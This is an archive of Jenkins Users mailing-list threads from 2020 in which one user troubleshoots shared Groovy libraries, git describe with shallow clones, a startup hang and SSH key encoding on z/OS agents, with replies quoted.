Jenkins Groovy - Trying to load a JDBC driver

[Randall Becker]

Can someone throw some light on this, please? I am trying to load a JDBC 
type 4 driver from the local system (no agents involved) in order to update 
a database during deployment. The classLoader.rootLoader is null in the 
Jenkins groovy container, so I'm not sure how to accomplish this. The 
pipeline is not running in a groovy sandbox - all sorts of issues came up 
when it was, like using the File object.

Thanks,
Randall

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/60009954-adf6-47ab-a7bd-10686d05e4f1o%40googlegroups.com.

Re: Trying to use Global Shared Groovy in Pipelines - ERROR: Could not find any definition of libraries [mylib]

[Randall Becker]

This was a new pipeline. I changed how the library was specified, using the 
library { lib } structure and that worked.

On Monday, 17 August 2020 17:26:48 UTC-4, Devin Nusbaum wrote:
>
> This sounds like JENKINS-60245 
> <https://issues.jenkins-ci.org/browse/JENKINS-60245>. There is a proposed 
> fix, but I have not had time to review it. 
>
> Is this something you had working previously, and it was broken by an 
> update or something, or are you just trying it for the first time?
>
> You might be able to use the `library` step instead of the `@Library` 
> annotation as a workaround for now.
>  
>
> On Aug 17, 2020, at 17:01, Randall Becker > 
> wrote:
>
> I'm having some difficulty with global shared groovy libraries in 
> pipelines (Jenkins 2.242, with Pipeline:Groovy Shared Libraries 2.16) and 
> could use a swift kick in the proper direction.
>
> I've configured a local bare git repository using it's path in the System 
> Configuration, which correctly reports the commit associated with the HEAD 
> of master. Since this is local, there are no credentials involved.
>
> The groovy script is loaded in my pipeline (not a Jenkinsfile, just a 
> simple project), as follows - from a file outside the workspace, which is 
> not yet populated at the load step:
>
> stage('load') {
> steps {
> script {
> modules.first = load 
> pwd()+'/../../OtherJob/workspace/publisher.groovy'
> }
> }
> }
>
> The load works and I can execute simple things, but when trying to 
> reference the library I get the error that
> ERROR: Could not find any definition of libraries [mylib],
>
> The first line of the publisher.groovy script is:
> @Library('mylib') _
>
> And the exception thrown is below (there is more, obviously). Nothing in 
> the jenkins log, this is from the build console
>
> org.jenkinsci.plugins.workflow.cps.CpsCompilationErrorsException: startup 
> failed:
> Script1.groovy: Loading libraries failed
>
> 1 error
>
>   at 
> org.codehaus.groovy.control.ErrorCollector.failIfErrors(ErrorCollector.java:310)
>   at 
> org.codehaus.groovy.control.CompilationUnit.applyToPrimaryClassNodes(CompilationUnit.java:1085)
>   at 
> org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(CompilationUnit.java:603)
>   at 
> org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(CompilationUnit.java:581)
>   at 
> org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.java:558)
>   at 
> groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:298)
>   at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:268)
>   at groovy.lang.GroovyShell.parseClass(GroovyShell.java:688)
>   at groovy.lang.GroovyShell.parse(GroovyShell.java:700)
> ...
>
> I really want to share code (not variables) as I have about 30 pipelines 
> that need my groovy classes. Obviously I'm doing something wrong, but the 
> diagnostics are not providing a nice hint to help me out with resolving 
> this. Any suggestions?
>
> Thanks in advance,
> Randall
>
>
>
> -- 
> You received this message because you are subscribed to the Google Groups 
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an 
> email to jenkins...@googlegroups.com .
> To view this discussion on the web visit 
> https://groups.google.com/d/msgid/jenkinsci-users/f5350044-b8b1-4e3e-b613-36bb9eade86ao%40googlegroups.com
>  
> <https://groups.google.com/d/msgid/jenkinsci-users/f5350044-b8b1-4e3e-b613-36bb9eade86ao%40googlegroups.com?utm_medium=email_source=footer>
> .
>
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/2a941b57-aafa-4443-98a8-189f048d8738o%40googlegroups.com.

Trying to use Global Shared Groovy in Pipelines - ERROR: Could not find any definition of libraries [mylib]

[Randall Becker]

I'm having some difficulty with global shared groovy libraries in pipelines 
(Jenkins 2.242, with Pipeline:Groovy Shared Libraries 2.16) and could use a 
swift kick in the proper direction.

I've configured a local bare git repository using it's path in the System 
Configuration, which correctly reports the commit associated with the HEAD 
of master. Since this is local, there are no credentials involved.

The groovy script is loaded in my pipeline (not a Jenkinsfile, just a 
simple project), as follows - from a file outside the workspace, which is 
not yet populated at the load step:

stage('load') {
steps {
script {
modules.first = load 
pwd()+'/../../OtherJob/workspace/publisher.groovy'
}
}
}

The load works and I can execute simple things, but when trying to 
reference the library I get the error that
ERROR: Could not find any definition of libraries [mylib],

The first line of the publisher.groovy script is:
@Library('mylib') _

And the exception thrown is below (there is more, obviously). Nothing in 
the jenkins log, this is from the build console

org.jenkinsci.plugins.workflow.cps.CpsCompilationErrorsException: startup 
failed:
Script1.groovy: Loading libraries failed

1 error

at 
org.codehaus.groovy.control.ErrorCollector.failIfErrors(ErrorCollector.java:310)
at 
org.codehaus.groovy.control.CompilationUnit.applyToPrimaryClassNodes(CompilationUnit.java:1085)
at 
org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(CompilationUnit.java:603)
at 
org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(CompilationUnit.java:581)
at 
org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.java:558)
at 
groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:298)
at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:268)
at groovy.lang.GroovyShell.parseClass(GroovyShell.java:688)
at groovy.lang.GroovyShell.parse(GroovyShell.java:700)
...

I really want to share code (not variables) as I have about 30 pipelines 
that need my groovy classes. Obviously I'm doing something wrong, but the 
diagnostics are not providing a nice hint to help me out with resolving 
this. Any suggestions?

Thanks in advance,
Randall


-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/f5350044-b8b1-4e3e-b613-36bb9eade86ao%40googlegroups.com.

Re: Using git describe in Jenkins differs from regular clones

[Randall Becker]

OK: Blame the operator. shallow: true made the difference. It was shallow: 
false before. So that makes the difference. I'm now getting the desired 
results inside Jenkins.

Randall

On Monday, 3 August 2020 17:13:00 UTC-4, Randall Becker wrote:
>
> I know I should know the answer to this one, but it's eluding me. When I 
> run git describe from within a Jenkins pipeline, I am getting different 
> results from when git describe is run from a normal clone/checkout. This 
> happens even if I move to a detached head state.
>
> Obviously I'm missing an option in the Git clone in Jenkins but I can't 
> figure out what I'm missing. The current checkout is:
>
> checkout([$class: 'GitSCM',
> changelog: true,
> poll: true,
> branches: [[name: 'master']],
> extensions: [
> [$class: 'CleanBeforeCheckout'],
> [$class: 'SubmoduleOption', disableSubmodules: false, 
> parentCredentials: true,
> recursiveSubmodules: true, reference: '', 
> trackingSubmodules: false]],
> doGenerateSubmoduleConfigurations: false, extensions: [
> [$class: 'CleanCheckout'],
> [$class: 'CloneOption', timeout: 60, shallow: true],
> [$class: 'CheckoutOption', timeout: 60],
> ],
> userRemoteConfigs: [[url: 'git://
> git.samba.org/rsync.git']] <http://git.samba.org/rsync.git'%5D%5D>])
>
> shallow makes no difference - I don't think it's supported anymore, 
> correct?
>
> Inside Jenkins, git describe reports 47351c2b.
> In a standard clone, detached head (or on a branch) at this commit, I get 
> v3.2.3pre1-9-g47351c2b, which is what I'm expecting.
>
> Thanks,
> Randall
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/28e96d92-7e98-41c4-a69d-ec1554d35275o%40googlegroups.com.

Using git describe in Jenkins differs from regular clones

[Randall Becker]

I know I should know the answer to this one, but it's eluding me. When I 
run git describe from within a Jenkins pipeline, I am getting different 
results from when git describe is run from a normal clone/checkout. This 
happens even if I move to a detached head state.

Obviously I'm missing an option in the Git clone in Jenkins but I can't 
figure out what I'm missing. The current checkout is:

checkout([$class: 'GitSCM',
changelog: true,
poll: true,
branches: [[name: 'master']],
extensions: [
[$class: 'CleanBeforeCheckout'],
[$class: 'SubmoduleOption', disableSubmodules: false, 
parentCredentials: true,
recursiveSubmodules: true, reference: '', 
trackingSubmodules: false]],
doGenerateSubmoduleConfigurations: false, extensions: [
[$class: 'CleanCheckout'],
[$class: 'CloneOption', timeout: 60, shallow: true],
[$class: 'CheckoutOption', timeout: 60],
],
userRemoteConfigs: [[url: 
'git://git.samba.org/rsync.git']]])

shallow makes no difference - I don't think it's supported anymore, correct?

Inside Jenkins, git describe reports 47351c2b.
In a standard clone, detached head (or on a branch) at this commit, I get 
v3.2.3pre1-9-g47351c2b, which is what I'm expecting.

Thanks,
Randall

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/067e5fc2-b8e9-452f-8ce5-02f6c7ce0f6eo%40googlegroups.com.

Re: Jenkins hang on startup after "Listed all plugins"

[Randall Becker]

In case anyone is curious, I identified two sources of this issue.

1) JGit is throwing exceptions because nanosecond resolution is set to 
UNDEFINED and any time you do math (add a value) with that value in Java 
long, you get an Arithmetic Overflow. This seems to have left some threads 
in an indeterminate state.
2) More importantly, we had an out of date SSL certificate. There were no 
exceptions thrown during startup relating to this, but we could not get to 
the update site or download metadata on startup. I think this was the root 
of many problems but it would have been nice to get an exception (and one 
with the URL involved, which Jenkins plugins are notorious for not 
reporting).

Cheers,
Randall

On Tuesday, 28 July 2020 10:05:16 UTC-4, Randall Becker wrote:
>
> This has been going on since 2.233. We are getting pretty consistent 
> failures of Jenkins right after the "Listed all plugins" message is logged. 
> This just on the controller (there are no agents), running JRE 1.8.0_45. I 
> have wiped the configuration three times already. As soon as I add pipeline 
> jobs and actually do a build, I cannot stop and restart Jenkins. There are 
> no weird exceptions showing in the log. This has been reported as a defect 
> to Core, with a thread dump, but I have not had any feedback at all. It's 
> getting seriously frustrating. Has anyone else seen this or have advice on 
> tracking down what's going on?
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/e10ae546-1381-47b1-a6b2-36e1bf4a667co%40googlegroups.com.

Jenkins hang on startup after "Listed all plugins"

[Randall Becker]

This has been going on since 2.233. We are getting pretty consistent 
failures of Jenkins right after the "Listed all plugins" message is logged. 
This just on the controller (there are no agents), running JRE 1.8.0_45. I 
have wiped the configuration three times already. As soon as I add pipeline 
jobs and actually do a build, I cannot stop and restart Jenkins. There are 
no weird exceptions showing in the log. This has been reported as a defect 
to Core, with a thread dump, but I have not had any feedback at all. It's 
getting seriously frustrating. Has anyone else seen this or have advice on 
tracking down what's going on?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/0870ff38-86af-4744-a212-c87734f07c2fo%40googlegroups.com.

Re: SSH Agent, z/OS USS, and git authentication problems

[Randall Becker]

Turns out, you cannot use a key-pair with a passphrase in this situation. 
SSH key-pairs without a passphrase works correctly (but passphrases are 
mandatory in our shop).

On Monday, 20 July 2020 14:14:47 UTC-4, Randall Becker wrote:
>
> I'm going to have to dig deeper and probably debug the GitSCM plugin on 
> the agent. -Dibm.file.encoding does not help the situation. I have a call 
> later today that might shed some light on the situation.
>
> On Friday, 17 July 2020 09:47:19 UTC-4, Mark Waite wrote:
>>
>>
>> https://github.com/jenkinsci/git-client-plugin/blob/eeec334af0b6447f3db9fb88d55728911a092d73/src/main/java/org/jenkinsci/plugins/gitclient/CliGitAPIImpl.java#L2411
>>  has 
>> specific code for z/OS.  I do not have access to z/OS so cannot test that 
>> code.  It was merged based on a submission from people that said it works.  
>>
>> You're welcome to suggest improvements in that area with the 
>> understanding that I can only evaluate that code by inspection, not by 
>> execution.
>>
>> Mark Waite
>>
>> On Thu, Jul 16, 2020 at 7:49 AM Randall Becker  wrote:
>>
>>> That's what we were trying to do originally. There is a problem. When 
>>> GitSCM creates the GIT_SSH content on z/OS agent the file name is encoded 
>>> as an IBM1047 EBCDIC regardless of the -Dfile.encoding argument, even 
>>> though the original private key and passphrase are coming from a 
>>> UTF8/US-ASCII controller. When this goes to git and then SSH, the file is 
>>> still encoded as IBM1047 and is when it hits the KEX code, fails. When we 
>>> use the SSH Agent, this problem does not occur. I want to use the correct 
>>> using GitSCM credential ID, but it does not work. I do not have a decent 
>>> debug environment that would clearly demonstrate this, isolate the section 
>>> of code where this is (not) happening, or allow me to easily fix this. The 
>>> most important bit is that the private key should be encoded in UTF8 or 
>>> US-ASCII when supplied to GIT_SSH, not the default encoding. Somehow, the 
>>> SSH Agent Plugin does this correctly.
>>>
>>> On Monday, 13 July 2020 17:41:07 UTC-4, Mark Waite wrote:
>>>>
>>>> If the operation you're performing is a checkout, why use the ssh-agent 
>>>> wrapper?  Why not use the same credentials ID as an argument to checkout 
>>>> rather than wrapping checkout in ssh-agent?
>>>>
>>>> On Mon, Jul 13, 2020 at 8:45 AM Randall Becker  
>>>> wrote:
>>>>
>>>>> I wish it was that simple. The issue definitely appears to be the 
>>>>> encoding of the private key during a key exchange. When using SSH-Agent 
>>>>> and 
>>>>> git commands from within a shell in the pipeline, the authentication 
>>>>> works 
>>>>> fine. So this is likely an interaction with the GitSCM plugin not being 
>>>>> aware of IBM-1047 encodings.
>>>>>
>>>>> On Sunday, 12 July 2020 16:08:31 UTC-4, Ivan Fernandez Calvo wrote:
>>>>>>
>>>>>> I think that this is the reason why it does not work 
>>>>>> https://support.cloudbees.com/hc/en-us/articles/224910467-Why-am-I-unable-to-authenticate-via-sshagent-inside-docker-
>>>>>>
>>>>>> El sábado, 11 de julio de 2020, 22:25:08 (UTC+2), Randall Becker 
>>>>>> escribió:
>>>>>>>
>>>>>>> I'm having issues trying to get an agent to authenticate using the 
>>>>>>> SSH Agent plugin on a R2.4 z/OS USS agent with a Docker Jenkins 
>>>>>>> controller. 
>>>>>>> The goal is to convince GitSCM to actually fetch properly. We get SSH 
>>>>>>> authentication errors no matter what happens. This is using Pipelines.
>>>>>>>
>>>>>>> I've tried 
>>>>>>> sshagent (credentials: ['mvs-randall']) {
>>>>>>> checkout([$class: 'GitSCM',
>>>>>>> branches: [[name: '*/development']],
>>>>>>> extensions: [
>>>>>>> [$class: 'CleanBeforeCheckout'],
>>>>>>> [$class: 'SubmoduleOption', 
>>>>>>> disableSubmodules: false, parentCredentials: true,
>>>>>>> recursiveSubmodules: true, 
>&g

Re: SSH Agent, z/OS USS, and git authentication problems

[Randall Becker]

I'm going to have to dig deeper and probably debug the GitSCM plugin on the 
agent. -Dibm.file.encoding does not help the situation. I have a call later 
today that might shed some light on the situation.

On Friday, 17 July 2020 09:47:19 UTC-4, Mark Waite wrote:
>
>
> https://github.com/jenkinsci/git-client-plugin/blob/eeec334af0b6447f3db9fb88d55728911a092d73/src/main/java/org/jenkinsci/plugins/gitclient/CliGitAPIImpl.java#L2411
>  has 
> specific code for z/OS.  I do not have access to z/OS so cannot test that 
> code.  It was merged based on a submission from people that said it works.  
>
> You're welcome to suggest improvements in that area with the understanding 
> that I can only evaluate that code by inspection, not by execution.
>
> Mark Waite
>
> On Thu, Jul 16, 2020 at 7:49 AM Randall Becker  > wrote:
>
>> That's what we were trying to do originally. There is a problem. When 
>> GitSCM creates the GIT_SSH content on z/OS agent the file name is encoded 
>> as an IBM1047 EBCDIC regardless of the -Dfile.encoding argument, even 
>> though the original private key and passphrase are coming from a 
>> UTF8/US-ASCII controller. When this goes to git and then SSH, the file is 
>> still encoded as IBM1047 and is when it hits the KEX code, fails. When we 
>> use the SSH Agent, this problem does not occur. I want to use the correct 
>> using GitSCM credential ID, but it does not work. I do not have a decent 
>> debug environment that would clearly demonstrate this, isolate the section 
>> of code where this is (not) happening, or allow me to easily fix this. The 
>> most important bit is that the private key should be encoded in UTF8 or 
>> US-ASCII when supplied to GIT_SSH, not the default encoding. Somehow, the 
>> SSH Agent Plugin does this correctly.
>>
>> On Monday, 13 July 2020 17:41:07 UTC-4, Mark Waite wrote:
>>>
>>> If the operation you're performing is a checkout, why use the ssh-agent 
>>> wrapper?  Why not use the same credentials ID as an argument to checkout 
>>> rather than wrapping checkout in ssh-agent?
>>>
>>> On Mon, Jul 13, 2020 at 8:45 AM Randall Becker  
>>> wrote:
>>>
>>>> I wish it was that simple. The issue definitely appears to be the 
>>>> encoding of the private key during a key exchange. When using SSH-Agent 
>>>> and 
>>>> git commands from within a shell in the pipeline, the authentication works 
>>>> fine. So this is likely an interaction with the GitSCM plugin not being 
>>>> aware of IBM-1047 encodings.
>>>>
>>>> On Sunday, 12 July 2020 16:08:31 UTC-4, Ivan Fernandez Calvo wrote:
>>>>>
>>>>> I think that this is the reason why it does not work 
>>>>> https://support.cloudbees.com/hc/en-us/articles/224910467-Why-am-I-unable-to-authenticate-via-sshagent-inside-docker-
>>>>>
>>>>> El sábado, 11 de julio de 2020, 22:25:08 (UTC+2), Randall Becker 
>>>>> escribió:
>>>>>>
>>>>>> I'm having issues trying to get an agent to authenticate using the 
>>>>>> SSH Agent plugin on a R2.4 z/OS USS agent with a Docker Jenkins 
>>>>>> controller. 
>>>>>> The goal is to convince GitSCM to actually fetch properly. We get SSH 
>>>>>> authentication errors no matter what happens. This is using Pipelines.
>>>>>>
>>>>>> I've tried 
>>>>>> sshagent (credentials: ['mvs-randall']) {
>>>>>> checkout([$class: 'GitSCM',
>>>>>> branches: [[name: '*/development']],
>>>>>> extensions: [
>>>>>> [$class: 'CleanBeforeCheckout'],
>>>>>> [$class: 'SubmoduleOption', 
>>>>>> disableSubmodules: false, parentCredentials: true,
>>>>>> recursiveSubmodules: true, 
>>>>>> reference: '', trackingSubmodules: false]],
>>>>>> 
>>>>>> doGenerateSubmoduleConfigurations: false, submoduleCfg: [],
>>>>>> userRemoteConfigs: [[url: 
>>>>>> 'g...@xx.xxx.xxx.xxx:proj/repo.git'']]])
>>>>>> }
>>>>>> and
>>>>>> checkout([$class: 'GitSCM',
>>>>>>  

Re: SSH Agent, z/OS USS, and git authentication problems

[Randall Becker]

I'm going to try the ibm.system.encoding property to see whether that makes 
a difference. It would almost make sense to have the encoding externalized 
as a plugin property available in a pipeline. I think part of our issue is 
that we run multi-platform and multi-encoding, which seems out of scope for 
the change. The ibm.system.encoding seems to be coming from the agent 
without explicit action from the controller. I'm wondering whether starting 
the agent with -Dibm.system.encoding=ISO8859-1 might fix our situation (or 
make it worse). Will try this. The bigger issue is that this is a more 
pervasive situation than just the GitSCM but really applies to any String 
instantiated by the agent.

On Friday, 17 July 2020 09:47:19 UTC-4, Mark Waite wrote:
>
>
> https://github.com/jenkinsci/git-client-plugin/blob/eeec334af0b6447f3db9fb88d55728911a092d73/src/main/java/org/jenkinsci/plugins/gitclient/CliGitAPIImpl.java#L2411
>  has 
> specific code for z/OS.  I do not have access to z/OS so cannot test that 
> code.  It was merged based on a submission from people that said it works.  
>
> You're welcome to suggest improvements in that area with the understanding 
> that I can only evaluate that code by inspection, not by execution.
>
> Mark Waite
>
> On Thu, Jul 16, 2020 at 7:49 AM Randall Becker  > wrote:
>
>> That's what we were trying to do originally. There is a problem. When 
>> GitSCM creates the GIT_SSH content on z/OS agent the file name is encoded 
>> as an IBM1047 EBCDIC regardless of the -Dfile.encoding argument, even 
>> though the original private key and passphrase are coming from a 
>> UTF8/US-ASCII controller. When this goes to git and then SSH, the file is 
>> still encoded as IBM1047 and is when it hits the KEX code, fails. When we 
>> use the SSH Agent, this problem does not occur. I want to use the correct 
>> using GitSCM credential ID, but it does not work. I do not have a decent 
>> debug environment that would clearly demonstrate this, isolate the section 
>> of code where this is (not) happening, or allow me to easily fix this. The 
>> most important bit is that the private key should be encoded in UTF8 or 
>> US-ASCII when supplied to GIT_SSH, not the default encoding. Somehow, the 
>> SSH Agent Plugin does this correctly.
>>
>> On Monday, 13 July 2020 17:41:07 UTC-4, Mark Waite wrote:
>>>
>>> If the operation you're performing is a checkout, why use the ssh-agent 
>>> wrapper?  Why not use the same credentials ID as an argument to checkout 
>>> rather than wrapping checkout in ssh-agent?
>>>
>>> On Mon, Jul 13, 2020 at 8:45 AM Randall Becker  
>>> wrote:
>>>
>>>> I wish it was that simple. The issue definitely appears to be the 
>>>> encoding of the private key during a key exchange. When using SSH-Agent 
>>>> and 
>>>> git commands from within a shell in the pipeline, the authentication works 
>>>> fine. So this is likely an interaction with the GitSCM plugin not being 
>>>> aware of IBM-1047 encodings.
>>>>
>>>> On Sunday, 12 July 2020 16:08:31 UTC-4, Ivan Fernandez Calvo wrote:
>>>>>
>>>>> I think that this is the reason why it does not work 
>>>>> https://support.cloudbees.com/hc/en-us/articles/224910467-Why-am-I-unable-to-authenticate-via-sshagent-inside-docker-
>>>>>
>>>>> El sábado, 11 de julio de 2020, 22:25:08 (UTC+2), Randall Becker 
>>>>> escribió:
>>>>>>
>>>>>> I'm having issues trying to get an agent to authenticate using the 
>>>>>> SSH Agent plugin on a R2.4 z/OS USS agent with a Docker Jenkins 
>>>>>> controller. 
>>>>>> The goal is to convince GitSCM to actually fetch properly. We get SSH 
>>>>>> authentication errors no matter what happens. This is using Pipelines.
>>>>>>
>>>>>> I've tried 
>>>>>> sshagent (credentials: ['mvs-randall']) {
>>>>>> checkout([$class: 'GitSCM',
>>>>>> branches: [[name: '*/development']],
>>>>>> extensions: [
>>>>>> [$class: 'CleanBeforeCheckout'],
>>>>>> [$class: 'SubmoduleOption', 
>>>>>> disableSubmodules: false, parentCredentials: true,
>>>>>> recursiveSubmodules: true, 
>>>>

Re: SSH Agent, z/OS USS, and git authentication problems

[Randall Becker]

That's what we were trying to do originally. There is a problem. When 
GitSCM creates the GIT_SSH content on z/OS agent the file name is encoded 
as an IBM1047 EBCDIC regardless of the -Dfile.encoding argument, even 
though the original private key and passphrase are coming from a 
UTF8/US-ASCII controller. When this goes to git and then SSH, the file is 
still encoded as IBM1047 and is when it hits the KEX code, fails. When we 
use the SSH Agent, this problem does not occur. I want to use the correct 
using GitSCM credential ID, but it does not work. I do not have a decent 
debug environment that would clearly demonstrate this, isolate the section 
of code where this is (not) happening, or allow me to easily fix this. The 
most important bit is that the private key should be encoded in UTF8 or 
US-ASCII when supplied to GIT_SSH, not the default encoding. Somehow, the 
SSH Agent Plugin does this correctly.

On Monday, 13 July 2020 17:41:07 UTC-4, Mark Waite wrote:
>
> If the operation you're performing is a checkout, why use the ssh-agent 
> wrapper?  Why not use the same credentials ID as an argument to checkout 
> rather than wrapping checkout in ssh-agent?
>
> On Mon, Jul 13, 2020 at 8:45 AM Randall Becker  > wrote:
>
>> I wish it was that simple. The issue definitely appears to be the 
>> encoding of the private key during a key exchange. When using SSH-Agent and 
>> git commands from within a shell in the pipeline, the authentication works 
>> fine. So this is likely an interaction with the GitSCM plugin not being 
>> aware of IBM-1047 encodings.
>>
>> On Sunday, 12 July 2020 16:08:31 UTC-4, Ivan Fernandez Calvo wrote:
>>>
>>> I think that this is the reason why it does not work 
>>> https://support.cloudbees.com/hc/en-us/articles/224910467-Why-am-I-unable-to-authenticate-via-sshagent-inside-docker-
>>>
>>> El sábado, 11 de julio de 2020, 22:25:08 (UTC+2), Randall Becker 
>>> escribió:
>>>>
>>>> I'm having issues trying to get an agent to authenticate using the SSH 
>>>> Agent plugin on a R2.4 z/OS USS agent with a Docker Jenkins controller. 
>>>> The 
>>>> goal is to convince GitSCM to actually fetch properly. We get SSH 
>>>> authentication errors no matter what happens. This is using Pipelines.
>>>>
>>>> I've tried 
>>>> sshagent (credentials: ['mvs-randall']) {
>>>> checkout([$class: 'GitSCM',
>>>> branches: [[name: '*/development']],
>>>> extensions: [
>>>> [$class: 'CleanBeforeCheckout'],
>>>> [$class: 'SubmoduleOption', 
>>>> disableSubmodules: false, parentCredentials: true,
>>>> recursiveSubmodules: true, 
>>>> reference: '', trackingSubmodules: false]],
>>>> doGenerateSubmoduleConfigurations: 
>>>> false, submoduleCfg: [],
>>>> userRemoteConfigs: [[url: 
>>>> 'g...@xx.xxx.xxx.xxx:proj/repo.git'']]])
>>>> }
>>>> and
>>>> checkout([$class: 'GitSCM',
>>>> branches: [[name: '*/development']],
>>>> extensions: [
>>>> [$class: 'CleanBeforeCheckout'],
>>>> [$class: 'SubmoduleOption', 
>>>> disableSubmodules: false, parentCredentials: true,
>>>> recursiveSubmodules: true, 
>>>> reference: '', trackingSubmodules: false]],
>>>> doGenerateSubmoduleConfigurations: 
>>>> false, submoduleCfg: [],
>>>> userRemoteConfigs: [[credentialsId: 
>>>> 'mvs-randall',url: 'g...@xx.xxx.xxx.xxx:proj/repo.git']]])
>>>>
>>>> Both result in Permission denied (publickey).
>>>>
>>>> I've done the same thing on many other platforms with no problem. This 
>>>> seems very R2.4 specific. There was a change in the supported file 
>>>> encodings as well - we used to use -Dfile.encoding=utf8 in the agent 
>>>> config 
>>>> (because this is an IBM that likes EBCDIC), but had to move to 
>>>> -Dfile.encoding=ISO8859-1 and everything seems messed up now. IBM had this 
>>>> funky script they recommend that massages the key into an IBM-

Re: SSH Agent, z/OS USS, and git authentication problems

[Randall Becker]

I wish it was that simple. The issue definitely appears to be the encoding 
of the private key during a key exchange. When using SSH-Agent and git 
commands from within a shell in the pipeline, the authentication works 
fine. So this is likely an interaction with the GitSCM plugin not being 
aware of IBM-1047 encodings.

On Sunday, 12 July 2020 16:08:31 UTC-4, Ivan Fernandez Calvo wrote:
>
> I think that this is the reason why it does not work 
> https://support.cloudbees.com/hc/en-us/articles/224910467-Why-am-I-unable-to-authenticate-via-sshagent-inside-docker-
>
> El sábado, 11 de julio de 2020, 22:25:08 (UTC+2), Randall Becker escribió:
>>
>> I'm having issues trying to get an agent to authenticate using the SSH 
>> Agent plugin on a R2.4 z/OS USS agent with a Docker Jenkins controller. The 
>> goal is to convince GitSCM to actually fetch properly. We get SSH 
>> authentication errors no matter what happens. This is using Pipelines.
>>
>> I've tried 
>> sshagent (credentials: ['mvs-randall']) {
>> checkout([$class: 'GitSCM',
>> branches: [[name: '*/development']],
>> extensions: [
>> [$class: 'CleanBeforeCheckout'],
>> [$class: 'SubmoduleOption', 
>> disableSubmodules: false, parentCredentials: true,
>> recursiveSubmodules: true, 
>> reference: '', trackingSubmodules: false]],
>> doGenerateSubmoduleConfigurations: 
>> false, submoduleCfg: [],
>> userRemoteConfigs: [[url: 
>> 'g...@xx.xxx.xxx.xxx:proj/repo.git'']]])
>> }
>> and
>> checkout([$class: 'GitSCM',
>> branches: [[name: '*/development']],
>> extensions: [
>> [$class: 'CleanBeforeCheckout'],
>> [$class: 'SubmoduleOption', 
>> disableSubmodules: false, parentCredentials: true,
>> recursiveSubmodules: true, reference: 
>> '', trackingSubmodules: false]],
>> doGenerateSubmoduleConfigurations: false, 
>> submoduleCfg: [],
>> userRemoteConfigs: [[credentialsId: 
>> 'mvs-randall',url: 'g...@xx.xxx.xxx.xxx:proj/repo.git']]])
>>
>> Both result in Permission denied (publickey).
>>
>> I've done the same thing on many other platforms with no problem. This 
>> seems very R2.4 specific. There was a change in the supported file 
>> encodings as well - we used to use -Dfile.encoding=utf8 in the agent config 
>> (because this is an IBM that likes EBCDIC), but had to move to 
>> -Dfile.encoding=ISO8859-1 and everything seems messed up now. IBM had this 
>> funky script they recommend that massages the key into an IBM-1047 encoding 
>> but that does not help at all - in fact the GitSCM agent cannot process any 
>> results if that script is used.
>>
>> Help! 
>>
>> TIA,
>> Randall
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/1ece555d-921d-4a66-ba9d-2afe1cf212fao%40googlegroups.com.

SSH Agent, z/OS USS, and git authentication problems

[Randall Becker]

I'm having issues trying to get an agent to authenticate using the SSH 
Agent plugin on a R2.4 z/OS USS agent with a Docker Jenkins controller. The 
goal is to convince GitSCM to actually fetch properly. We get SSH 
authentication errors no matter what happens. This is using Pipelines.

I've tried 
sshagent (credentials: ['mvs-randall']) {
checkout([$class: 'GitSCM',
branches: [[name: '*/development']],
extensions: [
[$class: 'CleanBeforeCheckout'],
[$class: 'SubmoduleOption', 
disableSubmodules: false, parentCredentials: true,
recursiveSubmodules: true, 
reference: '', trackingSubmodules: false]],
doGenerateSubmoduleConfigurations: 
false, submoduleCfg: [],
userRemoteConfigs: [[url: 
'g...@xx.xxx.xxx.xxx:proj/repo.git'']]])
}
and
checkout([$class: 'GitSCM',
branches: [[name: '*/development']],
extensions: [
[$class: 'CleanBeforeCheckout'],
[$class: 'SubmoduleOption', 
disableSubmodules: false, parentCredentials: true,
recursiveSubmodules: true, reference: 
'', trackingSubmodules: false]],
doGenerateSubmoduleConfigurations: false, 
submoduleCfg: [],
userRemoteConfigs: [[credentialsId: 
'mvs-randall',url: 'g...@xx.xxx.xxx.xxx:proj/repo.git']]])

Both result in Permission denied (publickey).

